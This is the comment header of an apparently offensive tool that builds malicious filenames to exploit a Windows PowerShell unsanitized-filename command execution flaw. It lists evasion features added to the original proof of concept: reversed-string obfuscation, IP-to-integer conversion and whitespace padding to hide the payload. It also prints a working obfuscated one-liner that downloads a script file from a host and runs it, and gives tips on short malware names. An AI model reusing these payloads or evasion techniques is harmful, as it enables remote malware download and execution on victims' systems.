#GGPowerShell
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
#
#Original advisory:
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
#
#Original PoC:
#https://www.youtube.com/watch?v=AH33RW9g8J4
#
#By John Page (aka hyp3rlinx)
#Apparition Security
#=========================
#Features added to the original advisory script:
#
#Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile.
#
#Added: server port option (Base64 mode only)
#
#Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation.
#Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes.
#
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
#
#-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address.
#
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
#
#Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename.
#
#Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for
#IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play.
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot).
#
#All in the name of the dirty PS filename.
